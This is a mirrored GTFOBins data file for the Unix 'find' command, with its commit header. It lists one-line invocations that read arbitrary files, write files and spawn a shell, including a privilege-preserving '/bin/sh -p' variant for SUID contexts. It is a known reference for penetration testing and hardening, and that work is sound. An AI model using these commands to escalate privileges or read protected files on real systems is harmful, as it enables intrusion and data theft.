1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/find
Ahmed Mostafa bd4f0341f8 Add find file read
Close #458.

Co-Authored-By: Andrea Cardaci <cyrus.and@gmail.com>
2026-01-17 12:30:27 +01:00

32 lines
724 B
Plaintext

---
functions:
file-read:
- code: |-
find /path/to/input-file -exec cat {} \;
comment: |-
This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.
contexts:
sudo:
suid:
unprivileged:
file-write:
- code: |-
find / -fprintf /path/to/output-file DATA -quit
comment: |-
`DATA` is a format string, it supports some escape sequences.
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
find . -exec /bin/sh \; -quit
contexts:
sudo:
suid:
code: |-
find . -exec /bin/sh -p \; -quit
shell: false
unprivileged:
...